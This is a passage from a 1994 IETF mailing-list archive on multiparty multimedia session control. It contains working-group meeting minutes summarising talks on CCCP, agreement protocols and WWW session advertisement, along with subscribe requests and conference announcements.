state.  We first define a broad family of policies which has three
dimensions: initiation, voting, and consistency.  We then consider three
different communication models,
and for each model present a mechanism which implements this family of policies.



From owner-confctrl  Thu Mar 24 17:52:37 1994
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA14993>; Thu, 24 Mar 1994 09:53:13 -0800
Received: from bells.cs.ucl.ac.uk by venera.isi.edu (5.65c/5.61+local-14)
	id <AA14989>; Thu, 24 Mar 1994 09:53:10 -0800
Message-Id: <199403241753.AA14989@venera.isi.edu>
Received: from danger.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.13358-0@bells.cs.ucl.ac.uk>; Thu, 24 Mar 1994 17:52:42 +0000
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666
To: hughes@hughes.network.com (James P. Hughes)
Cc: confctrl
Subject: Re: cccp.ps
In-Reply-To: Your message of "Thu, 24 Mar 94 11:43:10 CST." <9403241143.ZM14431@hughes.network.com>
Date: Thu, 24 Mar 94 17:52:37 +0000
Sender: M.Handley@cs.ucl.ac.uk



>I am having a few problems with your file. I can display it on my machine usin
>xpsview, but when I print it, nothing comes out. No paper, no errors.

Jim, 

A few others have had the same problem - due I believe to A4 configuration
not being accepted by some US-only printers.

I've reformatted it, and put a copy cccp_us.ps{.gz} in the same place.
This should solve your problems, though it may not have done the layout any
good.

Mark

From owner-confctrl  Sat Mar 26 09:50:04 1994
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA17890>; Sat, 26 Mar 1994 13:47:35 -0800
Received: from cs4sun.cs.ttu.edu by venera.isi.edu (5.65c/5.61+local-14)
	id <AA17885>; Sat, 26 Mar 1994 13:47:32 -0800
Received: from tatung2.cs.ttu.edu by cs4sun.cs.ttu.edu (4.1/SMI-4.1)
	id AA05157; Sat, 26 Mar 94 15:50:04 CST
Date: Sat, 26 Mar 94 15:50:04 CST
From: vamsi@cs.ttu.edu (Vamsi Krishna Ayyagari)
Message-Id: <9403262150.AA05157@cs4sun.cs.ttu.edu>
To: confctrl
Subject: membership

hi,

  I would like to subscibe to your mailing list. Please include
me in your mailing list.

Thanking you,
vamsi

	<<<<<<<<<<<<<<<<<<<================>>>>>>>>>>>>>>>>> 
			Vamsi Krishna Ayyagari
			vamsi@cs4sun.cs.ttu.edu
			Department of Computer Science
			Texas Tech University
			Lubbock, Texas  79409
			(806) 747-3769
	<<<<<<<<<<<<<<<<<<<================>>>>>>>>>>>>>>>>>> 


From schooler  Wed Apr 13 08:35:45 1994
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA15842>; Wed, 13 Apr 1994 15:37:36 -0700
From: schooler (Eve Schooler)
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.61+local-14)
	id <AA15728>; Wed, 13 Apr 1994 15:36:50 -0700
Date: Wed, 13 Apr 1994 15:35:45 -0700
Posted-Date: Wed, 13 Apr 1994 15:35:45 -0700
Message-Id: <199404132235.AA23848@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA23848>; Wed, 13 Apr 1994 15:35:45 -0700
To: confctrl
Subject: MMusic WG minutes
Cc: schooler, abel@thumper.bellcore.com, mankin@cmf.nrl.navy.mil


Hi All,

Here are the minutes from the Seattle meetings of the MMusic WG.
I tried to capture how I thought the discussions went, but
all suggestions/improvements/comments/critiques are welcome.
I plan to send in an official version on Friday sometime.

E.

~~~~~~~~~ WG MINUTES ~~~~~~~~~~

These notes were prepared by Eve Schooler, schooler@isi.edu.  An 
on-line copy of the minutes and the accompanying slides are available 
in the directory ftp.isi.edu:confctrl/minutes as files ietf.3.94 and 
slides.3.94.tar.


      Multiparty Multimedia Session Control WG (MMusic)
                Minutes from the 29th IETF
                       Seattle, WA
                  March 29 and 30, 1994

               Abel Weinrib, abel@bellcore.com
               Eve Schooler, schooler@isi.edu


The MMusic working group held two sessions at the Seattle IETF, both of
which were multicast on the MBone.  The first four presentations were
aimed at showing the convergence of ideas about the framework and
protocols needed for session control in the Internet.  These were
followed by an update on the status of the agreement protocol, the
impact of the WWW on session creation and rendez-vous, the relevance of
reliable multicast to the Internet MMusic problem, and finally an
assessment of the working group's direction.  From formal and informal
conversations with working group participants, it was clear that these
ideas are ready to be codified and written down.


Conference Control Channal Protocol (CCCP): 
a scalable base for building conference control applications
Mark Handley, UCL (slides.3.94.a.tar)  

One highlight from Mark's talk was the concept that the communication
among distributed session managers and also between a session manager
and its media agents could be facilitated by a session-wide multicast
channel.  The same channel would be used for both "horizontal" and
"vertical" messaging, with the multicast ttl set to a small value (like
0 or 1) to limit distribution of local media-agent addressed messages.
There was debate, however, about the extent to which the horizontal and
vertical protocols should or need to be similar.

A naming/addressing convention was also presented that would help users
build applications on top of the bus abstraction and that would assist
media agents to filter messages.  It was noted that the CCCP approach
seemed complementary to the idea of an agreement algorithm on which
a session service could be built.

Although it has been pointed out before that different session
functions may require different levels of reliability from the
transport service, and thus may need a flexible communication
library, in this discussion that idea was extended further.  The
observation was made that, for a particular function being performed on
a session, the degree of reliability may not be a uniform choice across
all session participants.  An example might be the need for a
multiplexer (aka a quad box) to receive a floor control announcement
more reliably than a general user, since the multiplexer is an
in-the-network service that is more critical to the smooth operation
of the session.

Finally, since we are interested in scalable session control solutions,
there was agreement that the session control protocol should scale
at least as well as the application that it is controlling.
More details on this work can be found in a paper available in the mmusic
archive area, ftp.isi.edu:confctrl/bib/cccp/*


Flow Synchronization Protocol 
Julio Escobar, BBN 

Julio gave a brief overview of the flow synchronization protocol, a
protocol that was designed to provide common delay for synchronized
processes across the network.  Its strengths include that it allows
very flexible synchronization groups (destination processes that may or
may not reside on the same host), and also that it is highly adaptive,
since Internet operation leads to changes in delay predictions among
different destinations.

The focus of the talk was twofold: how well the control architecture of
the sync protocol maps to our ideas in the MMusic group about
modularized session managers and media agents, and additionally how it
relates to the use of an agreement protocol.  Julio took the session
state needed by the sync protocol and classified it according to the
agreement algorithm notation.  The distinction was made between
session-wide parameters, typically established and owned by an
initiator, and local parameters that are owned by each individual
destination process.  The implied session policy was that only the
owner of each piece of session state may change it or may announce it.
Thus, the synchronization protocol fits quite well under a scheme of
eventual consistency.

Evolution of MMCC: Sesssion Control Revisited 
Eve Schooler, ISI (slides.3.94.b.ps)

Eve presented the architectural framework behind the ISI session 
orchestration tool, mmcc, and discussed the ongoing evolution of 
its session control protocol.  The main goals of the discussion were
to identify similarities and differences among the various session
control approaches, and to suggest a synthesis of ideas.

A few key points centered around functional requirements.  The first
was the need to separate session creation from session invitations or
joins.  Another was that there should be no distinction between the
session attributes that can be set at session creation, and those that
can be set/changed at any point throughout the lifetime of the
session.  This relates to the general question, "what set of
descriptors constitutes a session?".  The answer is needed to allow
alternate session creation schemes for user rendez-vous.

In addition, it was argued that the notion of a floor control agent
needn't be thought of as distinct from a session manager.  Although the
communication requirements of such an agent exemplify why we need both
session-manger-to-session-manager communication and
session-manager-to-media-agent communication, this same degree of
coordination is required for other functions (e.g., configuration
choices such as an encoding scheme) beyond what is traditionally
considered floor control.

Other issues raised were: the tradeoffs between a classic packet format
and string-based messaging, how to characterize media agents, QoS, and
session policies as part of a session description, the movement toward
an adapative soft-state approach (periodic refresh) and building a
group consensus service on top of it, current options for cross-module
communication, and incorporating multicast.


Session Control Thoughts for a Non-Unix Conferencing Environment 
Charley Kline, UIU (slides.3.94.c.ps)

This past month saw the public release of Maven, an audio conferencing
application designed for the MacIntosh platform.  Charley outlined
several of the problems unique to the development environment (e.g.,
lack of multicast, OS differences) and their influence on Maven's
implementation.  During the presentation, he summarized the current
state of session control among MBone tools and contrasted this with a
suggested common protocol for session control interaction.

One suggestion was to capitalize on the change within the RTP
specification to separate the control port from the data port, and to
use the RTCP port for an extended collection of session control
functionality.  [In off-line discussions about layerist philosophy,
there was also the proposal that RTCP was intended for transport
control, and that it would make more sense to have a different port 
be used for session control.]

While there appeared to be firm consensus on the modularity of the
architecture required for session control, there was ongoing dialog
about what information needs explicitly to be shared across the
boundaries of the modules.  For example, it was argued that Maven might
like to display the text of the participants' names, so that it could
highlight who was speaking when.  On the other hand, to avoid
duplication of session information, the text of each participant's name
might be owned by the session manager, and highlighted when contacted
by the audio media agent to do so.  Naturally, this led into a debate
about who should own what information, how to share GUIs, and if it is
economical from an interactivity standpoint to impose added delay for
users to wait for ipc among session and media agents.

A related discussion was about the choice for the protocol needed to
communication between session managers and media agents.  The present
options we have are Tk/Tcl, which does in fact run on PCs and Macs, SMTP, 
or other forms of inter-process communication.  Although it might appear 
that we don't have to standardize the inter-session-manager-media-agent 
link, it certainly would go a long way to promote interoperability between 
media agents and session agents that are created by different individuals.  
As for whether or not the horizontal and vertical protocols should be the 
same, it was noted that they have very different scaling properties, and 
are likely to have different distribution needs by virtue of locality.  


Managing Shared Ephemeral Teleconferencing State: Policy and Mechanism
(a.k.a An update on the agreement algorithm)
Abel Weinrib, Bellcore (slides.3.94.d.ps)

Abel presented an update on the agreement algorithm work that Scott Shenker
had introduced at the last IETF meeting.  As has been discussed in previous
MMusic working groups, the agreement algorithm provides the foundation for
the session control protocol that allows distributed session control agents
to jointly manage the shared session state.

While similar in basic outline to the earlier proposal, the policy
specification and algorithm have undergone some significant changes.  There
now exists two new types of membership, with different types of members
receiving different levels of correctness.  In particular, eventual members
are guaranteed to share a common view of the eventually correct state E and
critical members are guaranteed to share a common view of the critical
state C when voting on changes to the state in D.  Algorithms have been
developed for both a reliable communications infrastructure and unreliable
multicast.  With reliable communications, locking is used to guarantee the
correctness related to changes in critical state, while eventual
consistency is guaranteed by sending out announcements that are ordered by
timestamps by the recipients.  For unreliable multicast communications,
announcements of new state are multicast to the group, with back off and
suppression of old state messages to improve scalability.

More details on this work can be found in a paper available in the MMusic
document archive, ftp.isi.edu:confctrl/docs/agree.ps


Session Advertisement and Media on Demand via WWW
Bill Fenner, NRL (slides.3.94.e.ps)

Bill described two ways in which real-time A/V sessions are already
being incorporated into WWW.  The first approach was designed by Bill
as a proof of concept and is based on the creation of an
application-specific MIME type for session advertisement in WWW.  Two
programs were created to assist with this; the sd-listen program
captures session directory announcements (from LBL's sd tool) and the
sd-launch program is used to spawn the requested sessions.  One
complication is that by advertising a session using WWW, the
multicast ttl's for scoping may not work properly.

The second approach uses WWW to deliver media on demand, and was
developed by Anders Klemets.  It supplies previously recorded sessions
or sound files.  Although it avoids the multicast ttl problem, since it
is unicast-based, there is some issue that the server machine is in
some sense co-opted to transmit a session that was initiated elsewhere.


Synchronous Collaboration with WWW,
Thane Frivold, SRI (slides.3.94.f.ps)

Thane described the Collaborative Multimedia Environment (COMET)
project, which takes the persistent document paradigm of WWW and
supplements it with synchronous dynamic sessions.  The result is shared
document collaborations.  A conference specification is stored as part
of a Mosaic document.  By leaving coordinates in documents about
authors and other session state, Mosaic is able to launch a variety of
session-related applications, including the ones that originally
produced the document.

The architecture includes a session control manager that distributes
conference requirements (applications, data, participants) as well as
instantiates conferences.  Although the protocol that it uses is still
evolving, it is ascii-based and supplies conference directives as Tcl
procedures.  Eventually, the intent is to incorporate a suite of
session policies, not only on a per session basis, but also on a per
person basis.


Membership Protocols for Conference Control
Bala Rajagopalan, AT&T Bell Laboratories (slides.3.94.g.ps)

Bala focused on the fact that membership management is the basis for
many conference control functions, and that proposals for reliable
multicast appear too weighty for these tasks.  

To design a membership management protocol, one must consider
membership in the presence of failures, the impact of scalability, and
how communication latency grows with group size.  Although there is an
inherent trade-off between scalabiliyy and control, a possible
conference control framework would allow the "type" of a conference to
be established at initiation through policy selection, and gracefully
loosen these policies as a session scales.  The "type" could itself
specify how the control policy changes with size, though this may be
difficult to achieve in practice.

The membership problem is difficult because consistency of information
at each member at every instant is impossible.  Eventual consistency is
more obtainable under certain definitions of membership, though even
eventual consistency may not be simple to achieve when certain network
conditions occur.  It is critical that in formulating a conference
control model that we specifically accommodate real-world network
anamolies, such as session fragmentation.

		

Attendees:

Eve Schooler			schooler@isi.edu
Abel Weinrib			abel@bellcore.com
David Crone			croned@osshe.edu 
David Meyer			meyer@ns.uoregon.edu		
Steve Fulling			fulling@cs.onst.edu
Glen Daniels			gub@elf.com
Shin Yoshida			yoshida@sumitomo.com
Kyngran Kang			kkang@cosmos.kaist.ac.kr
Benjamin Levy			seven@ftp.com
Angela sasse			a.sasse@cs.ucl.ac.uk	
Mark Handley			mhandley@cs.ucl.ack.uk			
Jon Crowcroft			jon@cs.ucl.ac.uk
Michael Speer			michael.speer@sun.com
Don Hoffman			hoffman@eng.sun.com
Amy Pearl			amy.pearl@eng.sun.com
Thane J. Frivold		tfrivold@nisc.sri.com
Ron Frederick			frederick@parc.xerox.com
Steve Casner			casner@isi.edu
Shian Wong			shian@dcsd.sj.nec.com
Mark Pullen			mpullen@cs.gmu.edu
Mass Yosi			yosi@ubique.co.il	
Jin Ho Hur			jhhur@cosmos.kaist.ac.kr
Michael Elkins			elkins@aero.org		
Kadura Krahrasuramy		kri@cc.bellcore.com
Sandip Dasgupta			sandip@cup.hp.com
Chuck deSostoa			chuckd@hp.com		
Andrew Cherenson		arc@sgi.com
Allyson Showalter		allyson@nsipo.nasa.gov
Cyrus Chow			cchow@ames.arc.nasa.gov
Jim Knowles			jknowles@binky.arc.nasa.gov
Marjo F. Mercado		marjo@cup.hp.com
Donald Merritt			don@arl.mil
Rich Bantel			rb@mtsol.att.com		
Berry Kercheval			kerch@parc.xerox.com
Dan McDonald			danmcd@itd.nrl.navy.mil
Brian Adamson			adamson@itd.nrl.navy.mil
Steve Batsell			batsell@itd.nrl.navy.mil
Larry Blunk			ljb@merit.edu
Dan Wood			dwood@bbn.com	
Charles E. Young		Charles.E.Young@att.com	
R. Eric Bennett			reb@aads.com	
Phil Irey			pirey@relay.nswc.navy.mil
Ken Mascia			masica@nersc.gov
Julio Escobar			jescobar@bbn.com	
Scott Shenker			shenker@par.xerox.com
Ken Hayward			Ken.Hayward@bnr.com
Sally Floyd			floyd@ee.lbl.gov
Charly Kline			cvk@uiuc.edu
Linda Winkler			lwinkler@anl.gov
John Stewart			jstewart@cnri.reston.va.us
Roger Fajman			raf@cu.nih.gov		
Bill Fenner			fenner@cmf.nrl.navy.mil
Eric Hoffman			hoffman@cmf.nrl.navy.mil
Arthur Lin			Yahn@srv.pacbell.com
Ted Kuo				tik@vnet.ibm.com
Ming Sheu			msheu@vnet.ibm.com
Mark Prior			mrp@itp.adelaide.edu.au
Steve Minzer			minzer@bellcore.com		
Carsten Bormann			cabo@informatik.uni-bremen.de
Katsuhiro Sebayashi		sebayasi@tnlab.ntt.jp 
Yashiro Katsube			katsube@mail.bellcore.com
Bala Rajagopalan		braja@qsun.att.com
Mark Allyn			allyn@netcom.com
Bill Fink			bill@wizard.gsfc.nasa.gov
Allison Mankin			mankin@cmf.nrl.navy.mil
John Wroclawski			jtw@lcs.mit.edu
Richard Cogger			R.Cogger@cornell.edu
Joseph Pang			jwpang@starlight.com
Andrew Knutsen			andrewk@sco.com
Walter Stickle			wls@ftp.com	
Paul Lambert			Paul-Lambert@email.mot.com
Brian Adamson			adamson@itd.nrl.navy.mil
Greg Minshall			minshall@wc.novell.com
Dave Thompson			davet@ncsa.uiuc.edu
Paul Goransson			paulg@wellfleet.com
Eric Crawley			esc@wellfleet.com
Raj Vaswani			raj@cs.washington.edu
Peter Kirstein			kirstein@cs.ucl.ac.uk
Paul Serice			serice@cos.com
Glen Daniels			


From owner-confctrl  Sun May  1 06:26:31 1994
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA12052>; Sun, 1 May 1994 13:25:32 -0700
Received: from aeffle.Stanford.EDU by venera.isi.edu (5.65c/5.61+local-14)
	id <AA12048>; Sun, 1 May 1994 13:25:31 -0700
Received: (from mosedale@localhost) by aeffle.Stanford.EDU (8.6.8.1/8.6.6) id NAA00967 for confctrl@isi.edu; Sun, 1 May 1994 13:26:31 -0700
Date: Sun, 1 May 1994 13:26:31 -0700
From: Dan Mosedale <mosedale@genome.Stanford.EDU>
Message-Id: <199405012026.NAA00967@aeffle.Stanford.EDU>
To: confctrl
Subject: Apologies for subscribe request (sigh)


Just fired off a subscribe request to the entire list without thinking  ...
forgot to add the -request.  Sorry about that folks.

Dan Mosedale

From owner-confctrl  Sun May  1 06:25:37 1994
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA12040>; Sun, 1 May 1994 13:24:38 -0700
Received: from aeffle.Stanford.EDU by venera.isi.edu (5.65c/5.61+local-14)
	id <AA12036>; Sun, 1 May 1994 13:24:37 -0700
Received: (from mosedale@localhost) by aeffle.Stanford.EDU (8.6.8.1/8.6.6) id NAA00963 for confctrl@isi.edu; Sun, 1 May 1994 13:25:37 -0700
Date: Sun, 1 May 1994 13:25:37 -0700
From: Dan Mosedale <mosedale@genome.Stanford.EDU>
Message-Id: <199405012025.NAA00963@aeffle.Stanford.EDU>
To: confctrl
Subject: subscribe

subscribe

Thanks,
Dan

From owner-confctrl  Mon May 23 07:45:00 1994
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA29619>; Mon, 23 May 1994 11:22:36 -0700
Received: from gatekeeper.mcimail.com by venera.isi.edu (5.65c/5.61+local-14)
	id <AA29608>; Mon, 23 May 1994 11:22:29 -0700
Received: by gatekeeper.mcimail.com (5.65/fma-120691);
	id AA03273; Mon, 23 May 94 13:23:38 -0500
Received: from mcimail.com by MCIGATEWAY.MCIMail.com id ab08773;
          23 May 94 18:21 GMT
Date: Mon, 23 May 94 12:45 EST
From: Enterprise Management Institute <0006489618@mcimail.com>
To: confctrl <confctrl>
Subject: ENTERPRISE MANAGEMENT SUMMIT '94
Message-Id: <53940523174535/0006489618PK4EM@mcimail.com>

CALL FOR PRESENTATIONS: ENTERPRISE MANAGEMENT SUMMIT '94
Users Conference and Exposition

Santa Clara, California
November 14-18, 1994

Join leading enterprise management experts at an exciting concept
in industry conferences: Enterprise Management Summit '94. Here,
for the first time, major industry users of network and systems
management products will come together to tackle real-world
problems and learn about solutions. Share your expertise and
experiences with this highly focused audience.

ENTERPRISE MANAGEMENT SUMMIT CONFERENCE FEATURES
-  A "Management Center of the Future" theater where leading
   platform vendors and their partners will be faced with        

   real-world enterprise management problems to solve in a live  

   environment ... on the spot. Users will be able to compare the
   effectiveness of each vendor's solutions, based on this "shoot
   out" of industry leaders.
-  A live enterprise management showcase featuring cutting edge
   network and systems management solutions.
-  Product direction presentations by participating vendors and
   industry experts.
-  Parallel product-focused technical sessions led by users and
   technical experts, focused on solutions to the challenges of
   enterprise management.
-  Tutorial sessions focused on developing advanced skills in 
   the management of systems, networks, applications and data    

   bases.
-  Direct user input on future product development during
   "Product Talk" focus group sessions.
-  User Group SIG meetings for product-specific interaction, and 
-  Birds-of-a-feather sessions designed for spontaneous, ad hoc
   discussions.

SHARE YOUR EXPERIENCE
Be part of the newest enterprise management user forum. Submit a
presentation proposal for Enterprise Management Summit '94. The
conference features six concurrent tracks of technical sessions,
focusing on both real-world solutions and underlying technology.
We will also explore trends and directions that drive the
changes occurring in the enterprise management industry. Topical
areas to be covered include the management of:
-  Networks (voice, video and data),
-  Systems (mainframe and distributed/UNIX), 
-  Applications, 
-  Data bases, and
-  Integrated management of the four domains.

FORMATS
-  Technical Sessions and Panels: 1 1/2 hour sessions held
Wednesday, November 16 - Friday, November 18, 1994. Presenters of
technical sessions are required to submit a presentation for
publication in the Conference Proceedings. A speaker registration
discount will be offered to all speakers who submit their papers
on time.

-  Tutorial Sessions: Half-day, full-day and two-day sessions
held on Monday, November 14 - Tuesday, November 15, 1994.
Presenters are required to submit a presentation workbook for
publication in the Tutorial Proceedings for that session.
Tutorial presenters will receive a complimentary registration if
workbook deadlines are met.

DEADLINES 
- Proposal Submissions: June 15, 1994 

- Notification of Acceptance: July 15, 1994   
         
- Submission of Final Paper: September 1, 1994

ENTERPRISE MANAGEMENT INSTITUTE, INC.
The 1994 Enterprise Management Summit is presented by Enterprise
Management Institute, Inc. (EMI), an organization dedicated to
advancing enterprise management through education and research. 

FOR MORE INFORMATION: 
Call 1-800/340-2111 (1-415-512-0801 outside the U.S.)

From owner-confctrl  Wed Jun  8 02:02:46 1994
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA01526>; Wed, 8 Jun 1994 02:02:47 -0700
Received: from sicmail.epfl.ch by venera.isi.edu (5.65c/5.61+local-14)
	id <AA01522>; Wed, 8 Jun 1994 02:02:46 -0700
Received: from tcomhp24.epfl.ch by sicmail.epfl.ch with SMTP (PP) 
          id <09701-0@sicmail.epfl.ch>; Wed, 8 Jun 1994 11:02:42 +0200
Received: by tcomhp20.epfl.ch (1.37.109.4/Epfl-3.1/MX) id AA20845;
          Wed, 8 Jun 94 11:06:03 +0200
From: pusztas@tcomhp20.epfl.ch (Yu-Hong Pusztaszeri)
Message-Id: <9406080906.AA20845@tcomhp20.epfl.ch>
Subject: Please add me in your mailing list!
To: confctrl
Date: Wed, 8 Jun 94 11:06:03 METDST
X-Hpvue$Revision: 1.8 $
Mime-Version: 1.0
Content-Type: Message/rfc822
X-Vue-Mime-Level: 4
Mailer: Elm [revision: 70.85]

Hi!

I would like to be included in your mailing list. My E-mail adddress is 
yhp@tcom.epfl.ch. Thanks.

Greetings

Yu-Hong

From owner-confctrl  Fri Jun 10 20:25:20 1994
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA24155>; Fri, 10 Jun 1994 04:25:27 -0700
Received: from vision.postech.ac.kr by venera.isi.edu (5.65c/5.61+local-14)
	id <AA24149>; Fri, 10 Jun 1994 04:25:24 -0700
Received: from turing.postech.ac.kr ([141.223.124.2]) by vision.postech.ac.kr (4.1/SMI-4.1)
	id AA24822; Fri, 10 Jun 94 20:12:29 KST
Received: from einstein.postech.ac.kr.cc.postech by turing.postech.ac.kr (4.1/SMI-4.1)
	id AA02160; Fri, 10 Jun 94 20:25:20 GMT
Date: Fri, 10 Jun 94 20:25:20 GMT
From: sck@turing.postech.ac.kr (SeongCheon Kim)
Message-Id: <9406102025.AA02160@turing.postech.ac.kr>
To: confctrl
Subject: Help

Help

From owner-confctrl  Tue Jul  1 10:41:20 1994
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA04038>; Fri, 1 Jul 1994 12:43:50 -0700
Received: from smcvax.smcvt.edu by venera.isi.edu (5.65c/5.61+local-14)
	id <AA04033>; Fri, 1 Jul 1994 12:43:41 -0700
Received: from SMCVAX.SMCVT.EDU by SMCVAX.SMCVT.EDU (PMDF #3520 ) id
 <01HE740NB7I88WWJ29@SMCVAX.SMCVT.EDU>; Fri, 1 Jul 1994 15:41:20 EST
Date: 01 Jul 1994 15:41:20 -0500 (EST)
From: "Gary C. Kessler, +1 802-655-8633" <KUMQUAT@SMCVAX.SMCVT.EDU>
Subject: 19th LCN Advance Technical Program
To: atm@hpl.hp.com, cell-relay@indiana.edu, cellular@dfv.rwth-aachen.de,
        confctrl, fc-ip-ext@think.com, fddi-sync@merit.edu,
        frftc@nsco.network.com, hippi@think.com, isdn@list.prime.com,
        repeater%sunoco@relay.nswc.navy.mil, rolc@network.com,
        smdstc@nsco.network.com, smds-users@nas.nasa.gov,
        snmp2@thumper.bellcore.com, snmp-wg@nisc.nyser.net,
        st@ibminet.awdpa.ibm.com, tcp-ip@nic.ddn.mil, tuba@lanl.gov,
        wireless@tandem.com
Message-Id: <01HE740NB7IA8WWJ29@SMCVAX.SMCVT.EDU>
Organization: Saint Michael's College
X-Vms-To: @[.LCN]LCNLIST
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-Transfer-Encoding: 7BIT


                               19th Conference on
                             Local Computer Networks
         "The Conference on Practical Leading Edge Computer Networking"

                                October 2-5, 1994
                              Radisson Plaza Hotel
                           Minneapolis, Minnesota  USA

        Sponsored by IEEE Computer Society and TC-Computer Communications
       General Chair: Kenneth Ocheltree, IBM Research, keno@watson.ibm.com
     Program Chair: Gary Kessler, Hill Associates, kumquat@smcvax.smcvt.edu

  ------------------------------------------------------------------------

                        Keynote Speaker: Craig Partridge
                          Bolt Beranek and Newman, Inc.
           "Local Computer Networks at Gigabit and Terabit Bandwidths"

  +-------------------------------------+-------------------------------------+
  |EXPERT PANEL SESSIONS:               |TECHNICAL PAPER SESSIONS ON:         |
  |                                     |                                     |
  |SUPER PANEL:                         |ATM                                  |
  |THE FUTURE OF THE INTERNET           |                                     |
  |Chair: Lyman Chapin, BBN             |INTERNETWORKING/ROUTERS/BRIDGES      |
  |                                     |                                     |
  |THE STATE OF NETWORK MANAGEMENT      |CONGESTION CONTROL                   |
  |Chair: Colin Mick, The Mick Group    |                                     |
  |                                     |METROPOLITAN AREA NETWORKS           |
  |ATM: WHEN WILL IT BE REAL?           |                                     |
  |Chair: Steve Bell, Bell Consulting   |WIDE AREA NETWORKS                   |
  |                                     |                                     |
  |THE FUTURE OF FDDI                   |MULTIMEDIA                           |
  |Chair: Raj Jain, Ohio State Univ.    |                                     |
  |                                     |REALTIME NETWORKS                    |
  |HIGH-SPEED LANS/ATM - WHICH ONES?    |                                     |
  |Chair: John Hart, 3Com               |HIGH SPEED NETWORKS                  |
  |                                     |                                     |
  |ATM LAN EMULATION                    |HIGH PERFORMANCE PROTOCOLS           |
  |Chair: Keith McLoghrie, Cisco Systems|                                     |
  |                                     |STANDARDS                            |
  |WIRELESS NETWORKS                    |                                     |
  |Chair: Arvind Krishna, IBM Research  |NETWORK MANAGEMENT                   |
  |                                     |                                     |
  |                                     |FDDI AND FDDI II                     |
  +-------------------------------------+-------------------------------------+

                                    TUTORIALS

  +--------------+--------+---------------------+-----------------------------+
  |Sunday, Oct.  |Tuto-   |SNMP: Where it is    |Jeff Case, SNMP Research     |
  |2             |rial 1  |and Where it's Going |                             |
  |1:00 pm -     +--------+---------------------+-----------------------------+
  |5:00 pm       |Tuto-   |Wireless Data Commu- |K. Pahlavan, Worcester       |
  |              |rial 2  |nications            |Polytechnic Institute        |
  +--------------+--------+---------------------+-----------------------------+
  |Monday, Oct.  |Tuto-   |Recent Advances in   |Raj Jain, Ohio State Univ.   |
  |3             |rial 3  |Computer Networking  |                             |
  |9:00 am -     +--------+---------------------+-----------------------------+
  |5:00 pm       |Tuto-   |Interfacing to High  |K. K. Ramakrishnan and       |
  |              |rial 4  |Speed                |Henry Yang, DEC              |
  |              |        |Networks             |                             |
  |              +--------+---------------------+-----------------------------+
  |              |Tuto-   |Advanced ATM Issues  |Anujan Varma, University of  |
  |              |rial 5  |                     |California, Santa Cruz       |
  +--------------+--------+---------------------+-----------------------------+

===============================================================================

                              Pre-Register for the
                   19th Conference on Local Computer Networks
                                OCTOBER 2-5, 1994
               RADISSON PLAZA HOTEL - MINNEAPOLIS, MINNESOTA  USA
                     SPONSORED BY THE IEEE COMPUTER SOCIETY

   Tutorials o Technical Paper Sessions o Expert Panel Discussions o Workshop-
                                style Interchange


  +--------------------------------------------+------------------------------+
  |HOTEL Registration Form                     |                              |
  |                                            |      19TH CONFERENCE ON      |
  |Radisson Plaza Hotel                        |   LOCAL COMPUTER NETWORKS    |
  |35 South 7th Street                         |                              |
  |Minneapolis, MN  55402  USA                 |      October 2-5, 1994       |
  |(612) 339-4900 / (612) 337-9766 Fax         |                              |
  |                                            |Please reserve the following: |
  |Name         _____________________________  |                              |
  |                                            |_____ Single $105 (1 person)  |
  |Representing _____________________________  |                              |
  |                                            |_____ Double $115 (2 persons) |
  |Address      _____________________________  |                              |
  |                                            |I will arrive after 6:00 p.m. |
  |City, State, Zip _________________________  |Please guarantee the          |
  |                                            |reservation with              |
  |Arrival                                     |with:                         |
  |Date & Time ______________________________  |                              |
  |                                            |                              |
  |Departure                                   |Card:   _____________________ |
  |Date & Time ______________________________  |                              |
  |                                            |Number: _____________________ |
  |Telephone # ______________________________  |                              |
  |                                            |Expires: ___________________  |
  +--------------------------------------------+------------------------------+
  | o Room requests must be received by September 12.                         |
  | o If room is not available at the rate requested, reservation will be     |
  |made at the nearest available rate.                                        |
  |                                                                           |
  +---------------------------------------------------------------------------+

  CONFERENCE  AND  TUTORIAL  REGISTRA-      tutorial notes and two breaks.   The
  TION:                                     fees  for  the  conference on Oct. 4
  Pre-registration must be received on      and 5 include a  copy  of  the  pro-
  or  before  MONDAY,  SEPTEMBER   26,      ceedings, four breaks, two luncheons
  1994-no exceptions.  Make all checks      and the banquet.
  payable to:  19th Conference on LCN.
  The fees for the tutorial on Sunday,      For   information,  contact  Kenneth
  Oct.  2 include tutorial notes and a      Ocheltree,   General    Chair,    at
  break.  The fees for  the  tutorials      keno@watson.ibm.com,  (914)784-7904,
  on  Monday, Oct. 3 include luncheon,      FAX (914)784-6201.


  +-------------------+-------------------------------------------------------+
  |Send this form &   |REGISTRATION FEES                                      |
  |fee (in US $) to:  |(Circle Tutorials)               Tutorial    Tutorial  |
  |19th LCN Conference|                       Conf.     1 or 2      3, 4 or 5 |
  |Harvey A. Freeman  |Students: (include     $200 __   $125 __     $250 __   |
  |LANWORKS, Inc.     |copy of paid fee stmt)                                 |
  |Suite 115          |                                                       |
  |6465 Wayzata Blvd. |IEEE Members:          $330 __   $125 __     $250 __   |
  |St. Louis Park, MN |                                                       |
  |        55426  USA |Non-Members:           $415 __   $160 __     $320 __   |
  |(612) 591-5837     |                                                       |
  +-------------------+-----------------+-------------------------------------+
  |                                     |                                     |
  |Name      __________________________ |REGISTRATION RECEIVED AFTER SEPT. 26 |
  |                                     |WILL BE CONSIDERED LATE.  Late and   |
  |Organization________________________ |on-site registrations will be at the |
  |                                     |following rates:                     |
  |Street    __________________________ |                                     |
  |                                     |            Conf.  Tut.    Tut.      |
  |City, State, Zip____________________ |                   1 or 2  3, 4 or 5 |
  |                                     |IEEE Member $395   $150    $300      |
